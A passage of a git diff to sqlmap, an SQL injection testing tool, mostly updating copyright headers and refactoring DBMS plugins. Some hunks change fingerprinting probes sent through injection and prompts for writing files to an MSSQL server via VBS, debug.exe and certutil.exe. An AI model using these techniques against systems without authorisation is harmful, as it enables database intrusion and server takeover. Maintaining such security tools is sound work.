lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -28,13 +27,13 @@ def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) - if wsOsFp and not hasattr(conf, "api"): + if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - if dbmsOsFp and not hasattr(conf, "api"): + if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " @@ -50,7 +49,7 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - if re.search("-log$", kb.data.banner): + if re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) @@ -80,9 +79,7 @@ def checkDbms(self): """ - if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ - or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: + if not conf.extensiveFp and Backend.isDbmsWithin(HSQLDB_ALIASES): setDbms("%s %s" % (DBMS.HSQLDB, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("1.7.2"): diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index b998fdd5c12..aab5e6b6c8f 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index 453cfcf895f..dfa364d34e0 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index 5d7972e464e..0ae21bb3e6c 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index 48b52096c4e..022e04e390d 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import ibm_db_dbi -except ImportError: +except: pass import logging diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 4426f105efa..a41f881b4d8 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index b02afc7d350..4699cb9b634 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem diff --git a/plugins/dbms/informix/fingerprint.py b/plugins/dbms/informix/fingerprint.py index 58938634f80..8c7e15252b4 100644 --- a/plugins/dbms/informix/fingerprint.py +++ b/plugins/dbms/informix/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -56,7 +56,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(INFORMIX_ALIASES) or (conf.dbms or "").lower() in INFORMIX_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(INFORMIX_ALIASES): setDbms(DBMS.INFORMIX) self.getBanner() @@ -80,6 +80,10 @@ def checkDbms(self): return False + # Determine if it is Informix >= 11.70 + if inject.checkBooleanExpression("CHR(32)=' '"): + Backend.setVersion(">= 11.70") + setDbms(DBMS.INFORMIX) self.getBanner() diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 5b5705b90d7..62b06283a60 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -1,12 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re +from lib.core.common import isDBMSVersionAtLeast from lib.core.common import randomStr from plugins.generic.syntax import Syntax as GenericSyntax @@ -17,6 +18,9 @@ def __init__(self): @staticmethod def escape(expression, quote=True): """ + >>> from lib.core.common import Backend + >>> Backend.setVersion('12.10') + ['12.10'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ @@ -24,14 +28,17 @@ def escape(expression, quote=True): def escaper(value): return "||".join("CHR(%d)" % ord(_) for _ in value) - excluded = {} - for _ in re.findall(r"DBINFO\([^)]+\)", expression): - excluded[_] = randomStr() - expression = expression.replace(_, excluded[_]) + retVal = expression - retVal = Syntax._escape(expression, quote, escaper) + if isDBMSVersionAtLeast("11.70"): + excluded = {} + for _ in re.findall(r"DBINFO\([^)]+\)", expression): + excluded[_] = randomStr() + expression = expression.replace(_, excluded[_]) - for _ in excluded.items(): - retVal = retVal.replace(_[1], _[0]) + retVal = Syntax._escape(expression, quote, escaper) + + for _ in excluded.items(): + retVal = retVal.replace(_[1], _[0]) return retVal \ No newline at end of file diff --git a/plugins/dbms/informix/takeover.py b/plugins/dbms/informix/takeover.py index d1964a6733a..ba8026e8880 100644 --- a/plugins/dbms/informix/takeover.py +++ b/plugins/dbms/informix/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 8427a145802..9834a60573c 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 125abae6493..9b4b8390f85 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index dd42e4b3478..3ab5770a738 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming @@ -20,8 +19,8 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB +from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable -from lib.techniques.brute.use import columnExists from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): @@ -66,7 +65,7 @@ def getTables(self, bruteForce=None): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() @@ -117,7 +116,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] @@ -128,7 +127,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() @@ -173,11 +172,11 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " - test = readInput(message, default="Y" if "Y" in message else "N") + choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() - if test[0] in ("n", "N"): + if choice == 'N': return - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) @@ -227,12 +226,10 @@ def getPrivileges(self, *args): return {} - def searchDb(self): - warnMsg = "on SAP MaxDB it is not possible to search databases" + def search(self): + warnMsg = "on SAP MaxDB search option is not available" logger.warn(warnMsg) - return [] - def getHostname(self): warnMsg = "on SAP MaxDB it is not possible to enumerate the hostname" logger.warn(warnMsg) diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index fa74456daae..ec4c5c2bab1 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index 0d3cfdf578d..0c6cb849662 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent @@ -91,7 +91,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): + if not conf.extensiveFp and Backend.isDbmsWithin(MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index 11eddc97a77..b946cfb04ad 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index cd38c715ac8..29f0b7ecc18 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 607d989dd03..202d6193c1c 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 6439a468e87..fe1cec52f85 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,14 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError: +except: pass import logging diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index f9c01d75a1f..83b1a4ff40f 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue -from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue @@ -76,7 +75,7 @@ def getTables(self): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() @@ -164,7 +163,7 @@ def getTables(self): def searchTable(self): foundTbls = {} - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") @@ -173,7 +172,7 @@ def searchTable(self): conf.db = self.getCurrentDb() if conf.db: - enumDbs = conf.db.split(",") + enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: @@ -270,7 +269,7 @@ def searchColumn(self): whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" - colList = conf.col.split(",") + colList = conf.col.split(',') if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] @@ -285,7 +284,7 @@ def searchColumn(self): conf.db = self.getCurrentDb() if conf.db: - enumDbs = conf.db.split(",") + enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: @@ -308,7 +307,7 @@ def searchColumn(self): foundCols[column] = {} if conf.tbl: - _ = conf.tbl.split(",") + _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) @@ -316,7 +315,7 @@ def searchColumn(self): conf.db = self.getCurrentDb() if conf.db: - _ = conf.db.split(",") + _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: msg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 3ef3075d8dd..b8aeaaee071 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import ntpath @@ -46,7 +46,7 @@ def _dataToScr(self, fileContent, chunkName): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: - strLineChar = hexencode(lineChar) + strLineChar = hexencode(lineChar, conf.encoding) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) @@ -382,27 +382,24 @@ def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": + if readInput(message, default='Y', boolean=True): self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": + if readInput(message, default='Y', boolean=True): self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": + if readInput(message, default='Y', boolean=True): self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index a28cee3586c..67992416c6b 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -65,9 +65,7 @@ def getFingerprint(self): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion().isdigit(): + if not conf.extensiveFp and Backend.isDbmsWithin(MSSQL_ALIASES): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() @@ -84,7 +82,7 @@ def checkDbms(self): if conf.direct: result = True else: - result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") + result = inject.checkBooleanExpression("UNICODE(SQUARE(NULL)) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MSSQL diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index 2d220dd3746..f7f042af0d3 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 1216c9a6e5e..c3a3381e2e5 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 305971ddfca..276c67663a6 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index c71d38b7d07..7f2be46ef11 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import pymysql -except ImportError: +except: pass import logging @@ -37,8 +37,10 @@ def connect(self): try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) - except (pymysql.OperationalError, pymysql.InternalError, struct.error), msg: + except (pymysql.OperationalError, pymysql.InternalError), msg: raise SqlmapConnectionException(msg[1]) + except struct.error, msg: + raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 75e884c40f6..65370fd4559 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 6887e02ecf8..cebeca56bf6 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.common import isNumPosStrValue diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 51ac45a8632..9a0ec75e67f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -20,7 +20,6 @@ from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint @@ -46,12 +45,12 @@ def _commentCheck(self): (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 - (50000, 50092), # MySQL 5.0 + (50000, 50096), # MySQL 5.0 (50100, 50172), # MySQL 5.1 (50400, 50404), # MySQL 5.4 - (50500, 50552), # MySQL 5.5 - (50600, 50633), # MySQL 5.6 - (50700, 50715), # MySQL 5.7 + (50500, 50554), # MySQL 5.5 + (50600, 50635), # MySQL 5.6 + (50700, 50717), # MySQL 5.7 (60000, 60014), # MySQL 6.0 ) @@ -95,13 +94,13 @@ def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) - if wsOsFp and not hasattr(conf, "api"): + if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - if dbmsOsFp and not hasattr(conf, "api"): + if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " @@ -126,7 +125,7 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None - if banVer and re.search("-log$", kb.data.banner): + if banVer and re.search(r"-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) @@ -150,9 +149,7 @@ def checkDbms(self): * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ - if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ - or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ - Backend.getVersion() != UNKNOWN_DBMS_VERSION: + if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index fb0df1a4216..61f145e5f52 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import binascii diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 07ed27e942c..4a5173b5241 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,17 +1,17 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os -import re from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable +from lib.core.common import isWindowsDriveLetterPath from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr @@ -49,7 +49,7 @@ def udfSetRemotePath(self): # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) - if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): + if isWindowsDriveLetterPath(self.__basedir or ""): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 94dde398780..fa8b5368ecf 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 5117f9d205c..aa6be3b19bf 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,13 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: import cx_Oracle -except ImportError: +except: pass import logging diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index a1f2b940a04..0ea903d6678 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ -from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common 